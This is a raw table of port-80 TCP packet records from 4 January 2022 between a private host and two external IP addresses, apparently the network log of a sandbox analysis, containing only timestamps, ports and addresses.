Jan 4, 2022 19:33:48.576244116 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.576565981 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.576623917 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.576796055 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.576838970 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.576950073 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.581150055 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.581197023 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.581265926 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.581604958 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.581638098 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.581679106 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.581721067 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.581768036 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.581785917 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.581792116 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.582143068 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.582182884 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.582587004 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.582627058 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.582643032 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.582647085 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.582667112 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.582699060 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.582746983 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.616210938 CET	80	49872	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:48.616481066 CET	49872	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:48.616518021 CET	49872	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:48.619808912 CET	49872	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:48.635220051 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.635935068 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.639146090 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.639188051 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.639228106 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.639296055 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.639344931 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.639388084 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.639452934 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.639583111 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.639625072 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.639664888 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.639727116 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.639770031 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.639877081 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.639919996 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.640038967 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.640137911 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.640178919 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.640245914 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.640285969 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.640321970 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.640356064 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.640398026 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.640678883 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.640753031 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.640780926 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.640793085 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.640897036 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.640897036 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.640939951 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.641141891 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.641674042 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.641721964 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.641746998 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.641767025 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.641849995 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.641912937 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.684587002 CET	80	49872	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:48.688525915 CET	80	49872	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:48.699249983 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.699304104 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.699343920 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.699388981 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.699405909 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.699419975 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.699608088 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.699625015 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.699671030 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.699702978 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.699740887 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.699767113 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.699780941 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.699867010 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.699884892 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.700117111 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.700159073 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.700198889 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.700237036 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.700259924 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.700274944 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.700335979 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.700711012 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.700752974 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.700790882 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.700792074 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.700829029 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.700896025 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.700912952 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.701015949 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.701190948 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.701680899 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.701719999 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.702142954 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.702254057 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.702302933 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.702354908 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.705146074 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.705185890 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.705221891 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.705513954 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.705646992 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.705652952 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.705679893 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.705718994 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.705771923 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.706012964 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.706132889 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.706159115 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.706165075 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.706204891 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.706238031 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.706535101 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.706629038 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.706667900 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.706710100 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.706712961 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.706737041 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.707062960 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.707214117 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.707246065 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.707573891 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.707652092 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.707700014 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.707740068 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.707802057 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.708050013 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.708242893 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.708611965 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.708707094 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.708764076 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.708882093 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.731894016 CET	80	49872	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:48.731985092 CET	49872	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:48.732604980 CET	49872	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:48.761208057 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.761259079 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.761671066 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.765141010 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.765624046 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.765782118 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.765784025 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.769140005 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.769185066 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.769222021 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.769260883 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.769290924 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.769300938 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.769315004 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.769411087 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.769609928 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.769651890 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.769690990 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.769728899 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.769730091 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.769771099 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.769850969 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.770095110 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.770174980 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.770184994 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.770224094 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.770262003 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.770301104 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.770358086 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.770369053 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.770632982 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.770677090 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.770714045 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.770752907 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.770791054 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.770808935 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.770832062 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.771102905 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.771152020 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.772885084 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.800075054 CET	80	49872	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:48.837287903 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.837346077 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.837444067 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.837651014 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.837693930 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.837733030 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.837779999 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.837798119 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.838213921 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.838254929 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.838911057 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.838958025 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.838996887 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.839020014 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.839029074 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.839035988 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.839205027 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.839279890 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.839318991 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.839333057 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.839349985 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.839631081 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.839764118 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.839802980 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.839853048 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.839878082 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.840059042 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.840118885 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.840169907 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.840276957 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.840317011 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.840429068 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.840670109 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.840747118 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.840789080 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.840821981 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.840873957 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.840897083 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.845854998 CET	49873	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:48.901273966 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.901329041 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.901366949 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.901405096 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.901442051 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.901457071 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.901484966 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.901621103 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.901659966 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.901690960 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.901700974 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.901741028 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.901777983 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.901823044 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.901840925 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.902168036 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.902209044 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.902246952 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.902282953 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.902321100 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.902343035 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.902348042 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.902681112 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.902719975 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.902760029 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.902797937 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.902802944 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.902806997 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.902836084 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.902942896 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.903234959 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.903274059 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.903325081 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.903731108 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.904252052 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.904283047 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.904300928 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.904763937 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.904803991 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.904845953 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.905574083 CET	80	49873	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:48.905672073 CET	49873	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:48.907124996 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.907164097 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.907202005 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.907244921 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.907257080 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.907507896 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.907596111 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.907635927 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.907648087 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.907674074 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.907712936 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.907749891 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.907793045 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.907798052 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.908066988 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.908159018 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.908195972 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.908233881 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.908273935 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.908274889 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.908278942 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.908540964 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.908813000 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.908876896 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.908916950 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.908920050 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.908926964 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.908957005 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.909018993 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.909231901 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.909394026 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.909672022 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.961393118 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.965200901 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.965245008 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.965414047 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.965477943 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.965523005 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.965663910 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.965954065 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.965992928 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.966029882 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.966509104 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.966624975 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.967026949 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.967068911 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.967226982 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.971067905 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.971106052 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.971146107 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.971184015 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.971220970 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.971261978 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.971292973 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.971658945 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.971715927 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.971754074 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.971785069 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.971811056 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.972167969 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.972210884 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.972246885 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.972268105 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.972291946 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.972680092 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.972692013 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.972732067 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.972770929 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.972810030 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.972820997 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:48.972842932 CET	80	49869	151.251.30.69	192.168.2.5
Jan 4, 2022 19:33:48.972878933 CET	49869	80	192.168.2.5	151.251.30.69
Jan 4, 2022 19:33:49.025160074 CET	49873	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:49.025259018 CET	49873	80	192.168.2.5	89.223.65.17
